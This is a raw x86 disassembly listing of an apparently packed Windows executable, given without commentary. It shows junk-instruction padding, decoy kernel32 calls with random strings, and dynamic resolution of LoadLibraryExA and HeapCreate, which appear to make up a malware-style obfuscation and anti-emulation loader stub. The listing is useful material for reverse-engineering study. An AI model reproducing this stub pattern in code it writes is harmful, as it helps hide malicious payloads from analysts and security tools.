call dword [sym.imp.kernel32.dll_GetVersionExA]
and dword [0x40f189], 0xeb
xor edx, edx
adc edx, dword [0x40f0a7]
sub ebx, eax
adc dword [0x40f197], 0x4f
jmp 0x40b267
adc dword [0x40f131], 0x2d
xor edi, esi
adc ebx, 0xffffffbf
adc dword [0x40f1bc], 0x12
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
xor edx, edx
add edx, 0x6b
sub ecx, ecx
adc ecx, dword [0x40f1ed]
add edi, 0xffffffaf
adc edx, dword [0x40f1cb]
jmp 0x40d07c
sub edx, edx
adc edx, dword [0x40f014]
and dword [0x40f02b], esi
adc dword [0x40f0cc], 0x6b
sbb edx, edi
adc esi, dword [0x40f0c1]
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x407235
or dword [0x40f161], 0x26
adc dword [0x40f13d], 0xed
and dword [0x40f06f], ebx
mov dword [0x40f13c], 0xd6
sub edx, edx
add edx, ebx
jmp 0x40da42
and dword [0x40f14e], 0xa2
xor ecx, ecx
add ecx, esi
xor ch, 0x50
adc eax, dword [0x40f1bb]
adc ah, byte [0x40f094]
sub edx, edx
adc edx, dword [0x40f130]
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
sbb edi, 0xffffff9c
sub ecx, ecx
add ecx, 0x69
or dword [0x40f1ed], 0x1e
mov dword [0x40f14f], 0xe6
sub dword [0x40f02c], esi
adc dword [0x40f038], 0xd4
jmp 0x405e83
mov dword [0x40f138], 0x8c
sub ch, ch
add ch, bh
adc ecx, 0x2e
xor edx, edx
add edx, ecx
sub eax, edi
add dl, bl
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
xor ecx, ecx
adc ecx, dword [0x40f090]
adc dword [0x40f08d], 0x2f
adc eax, esi
sbb dword [0x40f024], ecx
adc dword [0x40f1b1], 0x9c
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
sbb dword [0x40f0fa], edi
add dword [0x40f1e9], edi
xor edx, edx
adc edx, dword [0x40f0e4]
sbb esi, 0x41
jmp 0x40b9e6
xor ebx, eax
adc eax, dword [0x40f07e]
add dword [0x40f138], eax
or al, 0x80
and dword [0x40f0fb], 0x3b
sub esi, 0x5d
lea esi, str.kernel32.DLL
sbb al, 8
and dword [0x40f003], ecx
or dword [0x40f117], ecx
add eax, ebx
adc bh, byte [0x40f15f]
xor edx, edx
adc edx, dword [0x40f050]
push esi
sub ecx, ebx
sub eax, dword [0x40f026]
adc bl, byte [0x40f108]
sub byte [0x40f018], 0xe7
mov dword [0x40f02a], 0x66
add dword [0x40f023], esi
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
sub byte [0x40f02c], 0xa1
add ecx, ebx
sub edi, dword [0x40f0ba]
adc edx, edx
push str.LoadLibraryExA
sub ecx, ecx
adc edx, esi
adc esi, dword [0x40f0bc]
add dword [0x40f179], ecx
push eax
and edx, 0xffffffb5
sub ebx, edi
add esi, edx
adc dword [0x40f13b], 0x2f
add dword [0x40f0dc], esi
push str.HeapCreate
adc edx, 0x79
or dword [0x40f15f], 0x81
mov dword [0x40f177], 0xa
xor ecx, edi
adc dword [0x40f04c], 0xd5
push eax
sub bl, byte [0x40f1c6]
add esi, edi
xor dword [0x40f013], 0xca
adc edx, 0x58
and dword [0x40f1c4], esi
adc edx, dword [0x40f1ef]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xor dword [0x40f168], 0xbb
add ebx, 0xffffffa6
adc ebx, edi
add ecx, ecx
mov dword [0x40f2f3], eax
sub esi, edx
adc ebx, 0xffffffd4
sbb esi, ecx
add esi, edx
or ebx, dword [0x40f0db]
call dword [sym.imp.kernel32.dll_GetProcAddress]
sub dword [0x40f0a7], edi
sbb dword [0x40f1e8], 0xff
xor dword [0x40f107], 0x63
xor ecx, 0xffffffdd
and dword [0x40f1d9], 0x10
push 0
sbb edx, ecx
sbb dword [0x40f04b], ecx
sub byte [0x40f1e8], 0x50
adc dword [0x40f1f2], esi
adc bl, byte [0x40f188]
push 0
add esi, edi
add ebx, 0xffffff93
sbb dword [0x40f0c7], edx
adc dword [0x40f05f], 0x87
sbb ecx, 0x1c
or esi, dword [0x40f14d]
push str.shell32.DLL
or ebx, dword [0x40f050]
adc edi, dword [0x40f1fe]
add dword [0x40f00f], edi
sbb esi, 0x23
call eax
xor ebx, ecx
adc ebx, dword [0x40f104]
and edx, 0xc
xor edx, edx
mov edx, eax
adc dword [0x40f101], 0x9d
adc dword [0x40f15f], 0x46
xor dword [0x40f145], eax
add dword [0x40f10a], edi
add edx, dword [edx + 0x3c]
or dword [0x40f146], ebx
sub ecx, 0x1d
xor edi, 0xffffffbd
add dword [0x40f15f], eax
sbb al, bl
add edx, 0xa4
adc ch, byte [0x40f17a]
xor ecx, ecx
sbb ecx, ecx
or dword [0x40f071], edi
cmp word [edx], 0x1600
jb 0x407235
sbb edx, ebx
adc ecx, dword [0x40f14c]
mov dword [0x40f1e2], 0xf2
or edi, 0x20
push 0x407a01
and edx, 0xffffffa3
xor al, ch
sbb edx, edi
add edx, edx
ret
xor esi, ebx
sbb dword [0x40f0fa], 0x2e
sbb eax, 0xffffffad
or eax, dword [0x40f0d4]
or ebx, 0x12
or edi, dword [0x40f139]
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
xor ecx, ecx
add ecx, 0x2d
xor dword [section..data], edi
add ebx, ebx
and dword [0x40f13e], ebx
and ecx, 0x79
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
adc bh, byte [0x40f132]
add byte [0x40f122], bh
xor edx, edx
add edx, edi
sbb dword [0x40f03c], edx
jmp 0x40667e
xor ecx, ecx
adc ecx, dword [0x40f172]
sub ecx, dword [0x40f0f3]
xor dword [0x40f11a], ebx
and dword [0x40f07d], 0x4f
add eax, 0x3b
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
sbb edi, eax
sub edx, edx
add edx, 0x6a
or dword [0x40f0ce], edx
sub dword [0x40f028], edi
and dword [0x40f04d], esi
jmp 0x40d7c8
or dword [0x40f18a], 0x86
or dword [0x40f0d1], edi
sub byte [0x40f1dc], bh
sbb dword [0x40f03b], eax
adc edi, 0xffffff94
or esi, dword [0x40f020]
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
and dword [0x40f0be], esi
xor ebx, 0xffffff8e
adc dword [0x40f0ad], 0x73
xor dl, dl
add dl, bl
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
xor ebx, ebx
mov dword [0x40f010], 0x92
xor ecx, ecx
add ecx, ebx
sbb dword [0x40f1de], 0x15
adc dword [0x40f1f8], 0x15
jmp 0x406f73
adc dword [0x40f178], edi
xor dl, dl
add dl, 0x8d
adc esi, dword [0x40f17d]
xor dword [0x40f1e8], edi
sub al, bl
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
adc eax, 0xfffffff3
sub esi, 0xffffffb0
sub ecx, ecx
adc ecx, dword [0x40f019]
sub edi, edi
adc ebx, dword [0x40f162]
jmp 0x40a491
sub edx, edx
add edx, ebx
sbb edx, 0x5c
adc dword [0x40f055], 0x2a
adc edx, dword [0x40f1ef]
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
cmp eax, 0
jne 0x40881f
sbb dword [0x40f110], 0x6b
adc esi, dword [0x40f080]
sub dword [0x40f187], eax
adc edi, dword [0x40f0ea]
xor ecx, ecx
adc ecx, dword [0x40f068]
xor dh, dh
add dh, bh
jmp 0x40a67a
sbb dword [0x40f018], 0xd4
adc esi, dword [0x40f0e4]
adc dword [0x40f0c4], 0x9e
sbb dword [0x40f119], ebx
sbb dword [0x40f142], esi
add esi, 0xffffffc0
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
sbb ebx, esi
adc ebx, dword [0x40f133]
or dword [0x40f133], 0xea
adc edi, dword [0x40f114]
xor edx, edx
adc edx, dword [0x40f111]
jmp 0x409452
adc bh, byte [0x40f170]
sub edi, esi
sub al, byte [0x40f163]
sbb esi, 0x25
add edi, 0xffffff84
push 0x1c
push 0x40f4de
lea esi, [0x40f4da]
push dword [esi]
call dword [sym.imp.kernel32.dll_VirtualQuery]
xor edx, edx
adc edx, dword [0x40f080]
xor ecx, ecx
adc ecx, dword [0x40f01e]
add ebx, 0xffffff81
adc ecx, 0xffffffac
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
sub al, 0x15
sub byte [0x40f045], 0x64
or dword [0x40f170], edi
and dword [0x40f010], 0x6d
or dword [0x40f15d], eax
jmp 0x40a6fb
xor edi, 7
adc eax, 0xffffff97
add ebx, esi
adc esi, dword [0x40f13a]
adc eax, dword [0x40f125]
mov dword [0x40f081], 0x5b
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
xor eax, ebx
sub edx, edx
adc edx, dword [0x40f18b]
sbb dword [0x40f0ab], esi
sub ch, ch
add ch, 0xa0
xor dword [0x40f16c], ecx
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
and dword [0x40f1bb], esi
and dword [0x40f058], ebx
xor dword [0x40f07b], 0x75
add edi, eax
jmp 0x40ddbf
sbb dword [0x40f0f7], edi
adc ebx, 0xffffffb3
sub byte [0x40f1b9], ah
sbb dword [0x40f0eb], 0xaa
and edi, 0xfffffff4
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
and dword [0x40f0da], 0xff
adc byte [0x40f1c2], bh
add eax, eax
sub bl, 0x38
sub edx, edx
adc edx, dword [0x40f147]
jmp 0x40e38a
adc dword [0x40f049], edi
sub edi, ebx
sub byte [0x40f02b], 0x2b
xor dword [0x40f1b4], edi
sub ecx, ecx
add ecx, ebx
xor eax, 0xffffffdd
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
sub bh, 0x89
add dword [0x40f040], edi
xor ecx, ecx
add ecx, edi
sbb dword [0x40f054], eax
sbb dword [0x40f00b], 0xb5
add dword [0x40f172], ebx
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
xor dword [0x40f101], 0x50
add esi, 0x31
sub bl, byte [0x40f0a3]
sub dword [0x40f07b], eax
adc dword [0x40f186], ebx
adc esi, dword [0x40f1d1]
jmp 0x405968
adc dword [0x40f154], esi
and eax, 0xffffff95
xor dl, dl
add dl, ah
sub esi, dword [0x40f022]
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x407235
or esi, dword [0x40f05c]
sbb dword [0x40f072], eax
xor ecx, ecx
adc ecx, dword [0x40f1b1]
and dword [0x40f0e8], edi
xor ecx, edi
jmp 0x40bba3
add esi, 0x47
sub byte [0x40f185], 0xd1
xor ecx, ecx
add ecx, ebx
adc dword [0x40f0aa], 0x3e
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
add edi, 0x1d
xor eax, esi
sbb dword [0x40f19c], esi
xor dword [0x40f05a], edi
sub byte [0x40f06a], 1
jmp 0x40cee5
or dword [0x40f122], edi
sub dl, dl
add dl, bh
and dword [0x40f0e1], 0xe8
add dword [0x40f100], ebx
adc dh, byte [0x40f150]
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
and dword [0x40f02a], 0x74
adc edi, dword [0x40f14e]
sbb edi, 0xffffffb0
xor edx, edx
adc edx, dword [0x40f00a]
jmp 0x40ac63
add edi, 0x69
sub edx, edx
adc edx, dword [0x40f1ec]
and edi, 0xffffffb7
adc ebx, dword [0x40f0a4]
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
sbb dword [0x40f1a4], ebx
or dword [0x40f1e7], esi
adc esi, dword [0x40f039]
add edi, edi
jmp 0x40d75a
sub byte [0x40f17b], 0xf1
sbb esi, 0x40
mov dword [0x40f1de], 0x65
sub edx, edx
add edx, 0x73
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x407235
and dword [0x40f011], edi
adc dword [0x40f1cc], 0x9f
mov dword [0x40f014], 0x7b
add esi, 0x4f
jmp 0x407235
sub ecx, ecx
add ecx, edi
adc dword [0x40f05a], ecx
add esi, esi
xor ecx, ebx
and ecx, 0x6e
adc dword [0x40f160], 0x95
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
xor ecx, ecx
add ecx, 0x2d
add byte [0x40f195], bl
add dword [0x40f143], ecx
adc edi, dword [0x40f070]
jmp 0x409d3c
and byte [0x40f09a], al
add dword [0x40f02b], ebx
xor cl, cl
add cl, 0x16
or dword [0x40f06e], 0xd3
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
and dword [0x40f0c7], 0xf8
xor cl, cl
add cl, bl
sub eax, ecx
sub al, bh
sub ebx, ebx
xor dl, dl
add dl, 0xd
jmp 0x407fe5
xor ecx, ecx
add ecx, 0x25
adc eax, 0xffffff93
sub esi, dword [0x40f1b7]
and dword [0x40f0c8], 0x8e
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
adc eax, esi
and dword [0x40f1e0], ebx
and edi, 0x35
sub edx, edx
add edx, 0x25
add dword [0x40f0a3], ebx
add dword [0x40f152], eax
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
xor esi, edi
or dword [0x40f131], 0x96
sub ecx, ecx
adc ecx, dword [0x40f159]
adc ebx, dword [0x40f03e]
jmp 0x40641e
xor ebx, eax
mov dword [0x40f1f5], 0x50
sub eax, eax
or edi, 0x1a
add dword [0x40f02e], edi
xor dword [0x40f1fa], 0xee
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
sub cl, cl
add cl, 0x3d
or dword [0x40f1fc], 0xb4
xor edx, edx
add edx, 0xffffffb2
and dword [0x40f1d7], ebx
jmp 0x40a878
adc dword [0x40f05c], 0x54
sub eax, dword [0x40f119]
sub edi, dword [0x40f0d4]
and dword [0x40f0b9], 0xc0
xor dl, dl
add dl, 0xeb
adc esi, 0xffffffd0
lea edi, [0x40f492]
push dword [edi]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
cmp eax, 0
jne 0x407235
xor dword [0x40f012], 0x8a
sub ecx, ecx
add ecx, 0xfffffff2
adc al, byte [0x40f15f]
sbb dword [0x40f049], ebx
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
add eax, eax
adc bl, byte [0x40f1a4]
and byte [0x40f139], bl
sub dword [0x40f17e], esi
adc dword [0x40f1f2], edi
jmp 0x40b898
adc ebx, dword [0x40f12e]
sub edx, edx
add edx, eax
xor ebx, edx
sub ecx, ecx
adc ecx, dword [0x40f103]
and ecx, 0xfffffff7
and edx, 0x2c
lea ebx, [0x40f492]
push dword [ebx]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
cmp eax, 0
jne 0x407235
adc dword [0x40f1a1], ebx
sbb dword [0x40f1c1], 0x2d
xor dword [0x40f088], eax
sub dword [0x40f05a], esi
adc dword [0x40f02d], 0xbb
jmp 0x4097bb
sbb edi, ebx
xor dword [0x40f0a8], 0xb7
or dword [0x40f10c], edi
adc dword [0x40f11e], 0xce
mov dword [0x40f193], 0xd7
add dword [0x40f136], edi
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
cmp eax, 0
jne 0x407235
sub byte [0x40f08c], 0xac
sbb dword [0x40f07a], edi
adc al, bh
adc bl, 0x75
sub ecx, ecx
adc ecx, dword [0x40f1ee]
sbb esi, 1
jmp 0x40e406
sub byte [0x40f013], 0xb4
add esi, ebx
and dword [0x40f1d8], ebx
and dword [0x40f001], 0x46
xor ecx, ecx
adc ecx, dword [0x40f1af]
lea edx, [0x40f492]
push dword [edx]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x407235
xor edx, edx
adc edx, dword [0x40f1d8]
add ebx, edi
and edx, 0x63
sub ecx, ecx
add ecx, edx
sub eax, eax
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
or edi, dword [0x40f05f]
and dword [0x40f03b], 0xdf
xor dl, dl
add dl, bl
sub ecx, ecx
add ecx, edx
jmp 0x407235
sbb esi, edi
sub edx, edx
add edx, edi
sub eax, edx
add dword [0x40f087], esi
and eax, 0xffffffee
sub ebx, dword [0x40f1fe]
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
or dword [0x40f00f], eax
xor dword [0x40f148], edi
xor ebx, 0xffffffa6
xor dword [0x40f08d], eax
add edi, ebx
adc dword [0x40f0b8], eax
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
adc ebx, dword [0x40f149]
add esi, 0xffffffa8
sub ecx, ecx
adc ecx, dword [0x40f100]
adc ebx, ecx
sub ecx, eax
and byte [0x40f0f3], bl
jmp 0x408577
add byte [0x40f091], ah
xor ecx, ecx
add ecx, 0xffffffcc
and dword [0x40f0ed], 0x9c
sub edi, 0xffffffde
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
and dword [0x40f0d9], 0x46
sub edx, edx
adc edx, dword [0x40f075]
xor dword [0x40f17b], edi
xor dword [0x40f183], 0x2b
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
xor ecx, ecx
adc ecx, dword [0x40f0c9]
add eax, 0xffffff9b
adc eax, dword [0x40f094]
and cl, 0xb
adc dword [0x40f0aa], 0xe7
sub cl, bh
jmp 0x4054ff
or dword [0x40f06e], edi
xor dword [0x40f079], ebx
adc edi, dword [0x40f0cf]
adc dword [0x40f1bf], eax
sub ah, byte [0x40f18a]
or edi, dword [0x40f063]
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
adc dword [0x40f0d9], 0x1b
or dword [0x40f0d9], 0xd
sub edx, edx
adc edx, dword [0x40f0e8]
adc dl, byte [0x40f02f]
and edi, 0xffffff97
adc eax, dword [0x40f062]
jmp 0x4064bb
sub al, byte [0x40f111]
sub edx, edx
add edx, 0xffffffea
adc dword [0x40f04f], 0xc1
or edi, 0x7e
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
sbb dword [0x40f1f3], 0xd0
adc dword [0x40f150], 0xc5
sub edx, edx
add edx, eax
sub byte [0x40f107], 0xdf
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
xor dword [0x40f0b5], 0xf
or ebx, dword [0x40f034]
adc edi, dword [0x40f104]
or eax, dword [0x40f0f3]
sub bh, byte [0x40f021]
jmp 0x40ab60
and dword [0x40f1de], 0x74
sbb edi, 0xffffffcb
and ah, 3
adc dword [0x40f003], 0xc5
sub byte [0x40f0c6], al
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
xor dword [0x40f063], ebx
or eax, dword [0x40f051]
adc esi, dword [0x40f165]
add eax, 0xffffff89
adc dword [0x40f0a2], ebx
or dword [0x40f148], 0x6b
jmp 0x408605
sub byte [0x40f1fd], 0xa1
and ebx, 0x63
xor dword [0x40f131], esi
adc dword [0x40f1a8], 0x76
add edi, eax
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
add esi, eax
adc byte [0x40f151], ah
sub eax, esi
add dword [0x40f137], eax
xor ecx, ecx
add ecx, 0xfffffff0
jmp 0x406fce
or ebx, 0x1b
and dword [0x40f01e], esi
add eax, edi
xor ecx, ecx
add ecx, 0x2c
or dword [0x40f1ef], 0xd5
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x405e3a
add bl, 0xce
or dword [0x40f012], ebx
adc dword [0x40f1fe], 0xcd
or ah, byte [0x40f13d]
jmp 0x40e25b
xor dword [0x40f179], esi
adc al, byte [0x40f12e]
adc dword [0x40f182], 0x86
sub esi, dword [0x40f109]
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
adc ah, byte [0x40f15d]
adc esi, dword [0x40f0b1]
adc dword [0x40f09e], esi
adc dword [0x40f099], 0x8a
jmp 0x4081bd
sub ecx, ecx
add ecx, 0x37
mov dword [0x40f1b7], 0x5e
sub ebx, ebx
adc dword [0x40f165], ecx
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
adc dword [0x40f065], 0xa8
adc ebx, dword [0x40f047]
sub esi, 0xffffff80
add edi, 0x2f
adc bl, byte [0x40f07f]
jmp 0x4089cd
sbb dword [0x40f1e3], edi
add al, al
sub ecx, ecx
add ecx, 0xa
xor esi, edi
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x407235
and byte [0x40f05f], al
or byte [0x40f1c7], bl
xor dword [0x40f1d2], 0x67
sub edx, edx
adc edx, dword [0x40f139]
sbb dword [0x40f0c7], 0xae
sbb dword [0x40f18e], 0x53
jmp 0x40dcab
sub ecx, ecx
add ecx, 0x7d
xor ecx, ecx
xor edx, edx
add edx, 0x20
or ebx, dword [0x40f19a]
adc ecx, esi
sub eax, dword [0x40f174]
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40c8d3
add eax, eax
or dword [0x40f0c4], esi
sbb dword [0x40f14f], 0x67
xor dword [0x40f03c], 0x22
sub edi, ebx
jmp 0x40b906
adc dword [0x40f08e], 0x48
xor edx, edx
adc edx, dword [0x40f0a6]
adc bl, byte [0x40f1cc]
sub edx, 0xffffffb7
or bl, byte [0x40f01c]
sbb edx, esi
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
sub dword [0x40f0f3], ebx
adc bl, byte [0x40f0f3]
adc dword [0x40f0fa], 0xb1
add eax, 0x7e
xor ecx, ecx
adc ecx, dword [0x40f07e]
jmp 0x40cd76
add edi, 0x25
and dword [0x40f1f6], 0x1e
adc bh, byte [0x40f0a3]
sbb dword [0x40f09e], ebx
add bh, bl
sub esi, esi
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x4099e6
adc edi, dword [0x40f1a9]
sub dword [0x40f0b4], eax
xor dword [0x40f141], 0x81
xor edi, 0xffffffcc
sub edx, edx
add edx, 0x4a
or ah, byte [0x40f114]
jmp 0x40825b
sub bh, byte [0x40f120]
adc eax, dword [0x40f189]
and dword [0x40f1d1], 0xc2
mov dword [0x40f1d6], 0x4a
sub edx, edx
add edx, edi
adc dword [0x40f022], 0xb0
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
add dword [0x40f041], eax
xor edx, edx
adc edx, dword [0x40f163]
xor ecx, ecx
add ecx, edi
add edx, edi
sub edi, dword [0x40f1ae]
adc bh, bh
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
sub bl, byte [0x40f0c4]
xor edx, edx
add edx, 0xfffffffb
and dword [0x40f09d], 0xac
adc dl, byte [0x40f10d]
xor edx, 0xffffff93
add esi, 0xffffff91
jmp 0x409f77
xor ecx, ecx
add ecx, 0x1b
adc ebx, 0xffffffb1
sub ecx, 0xffffffaa
sub cl, cl
adc dword [0x40f1d0], 0x25
adc eax, dword [0x40f06b]
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
add dword [0x40f0fd], esi
sub ecx, ecx
adc ecx, dword [0x40f007]
sbb dword [0x40f0e2], esi
adc dword [0x40f064], eax
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
cmp eax, 0
jne 0x407235
or dword [0x40f00d], 0
sbb edi, ebx
xor esi, eax
or dword [0x40f0bb], ebx
adc esi, edi
xor ecx, ecx
add ecx, eax
jmp 0x40af32
xor ch, ch
add ch, 0x29
xor edx, edx
add edx, 0x69
adc eax, dword [0x40f0a0]
adc edx, dword [0x40f0b0]
sbb dword [0x40f08c], edi
adc dword [0x40f002], edx
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
sbb al, bl
sbb ebx, 0x59
sub edx, edx
add edx, 0x5d
or dword [0x40f162], 0xa3
add ebx, 0xffffff89
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
add byte [0x40f028], bl
adc edi, dword [0x40f1ea]
sub dl, dl
add dl, bh
adc ebx, dword [0x40f1c4]
jmp 0x409fdb
or bh, byte [0x40f04a]
add esi, 0xffffff90
adc esi, esi
and dword [0x40f05e], 0x8e
xor ecx, ecx
add ecx, 0xfffffff5
add edi, 0xffffff93
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
or byte [0x40f192], al
or dword [0x40f1a4], ebx
sub byte [0x40f03a], 0xcb
sub ecx, ecx
adc ecx, dword [0x40f1c8]
xor ecx, eax
xor edx, edx
add edx, 0xffffffde
push 0x1c
push 0x40f4de
lea edi, [0x40f4da]
push dword [edi]
call dword [sym.imp.kernel32.dll_VirtualQuery]
sbb dword [0x40f0c9], 0xcb
adc dword [0x40f145], 0x52
sbb byte [0x40f062], bh
add dword [0x40f081], eax
jmp 0x407235
xor dword [0x40f0d0], ebx
add esi, eax
xor eax, eax
adc edi, dword [0x40f171]
sub byte [0x40f01f], 0x45
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x407235
sbb dword [0x40f103], 0x7f
sub ecx, ecx
adc ecx, dword [0x40f08b]
and ecx, 0x72
add esi, ecx
mov dword [0x40f095], 0xe
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
xor ebx, esi
or al, byte [0x40f045]
add dword [0x40f137], esi
add edi, edi
jmp 0x409a3e
and dword [0x40f137], ebx
sub ecx, ecx
add ecx, 0xffffff99
add edi, 0x58
or dword [0x40f0b9], esi
adc edi, dword [0x40f05f]
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
xor edx, edx
adc edx, dword [0x40f031]
sub eax, 0xffffffde
mov dword [0x40f0d2], 0x2d
adc esi, ebx
sub eax, 0x1c
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
add dword [0x40f047], ebx
adc dword [0x40f119], 0xaf
adc edi, 0x2b
sbb ebx, esi
adc esi, 0xc
xor ebx, 0x28
jmp 0x407072
or dword [0x40f0f6], 0xd0
add esi, edi
adc edi, dword [0x40f0d9]
adc bh, byte [0x40f102]
or esi, dword [0x40f015]
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
adc eax, esi
sub cl, cl
add cl, 0x66
add ebx, 0xfffffff4
add dword [0x40f118], eax
add dword [0x40f093], ecx
jmp 0x407235
xor dword [0x40f181], 0xf3
add edi, ebx
adc dword [0x40f176], eax
or ebx, 0x30
sbb dword [0x40f082], ebx
sub eax, dword [0x40f019]
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
sub edx, edx
add edx, ebx
and dword [0x40f0a9], 0xd7
sub dword [0x40f09a], esi
sub byte [0x40f147], bl
sub dh, 0xa1
adc bl, byte [0x40f08d]
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
xor edx, edx
adc edx, dword [0x40f1ee]
and dword [0x40f011], 0x50
sub edi, esi
adc dh, 0x4d
adc ebx, dword [0x40f1d4]
jmp 0x406d5b
xor edx, edx
adc edx, dword [0x40f0ed]
add ebx, edx
sub edx, eax
mov dword [0x40f120], 0xd9
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
sbb dword [0x40f073], 0xdf
adc eax, dword [0x40f1fb]
xor edi, 0xffffffe2
sub ecx, ecx
add ecx, ebx
push 0x40f49e
push 0x40f496
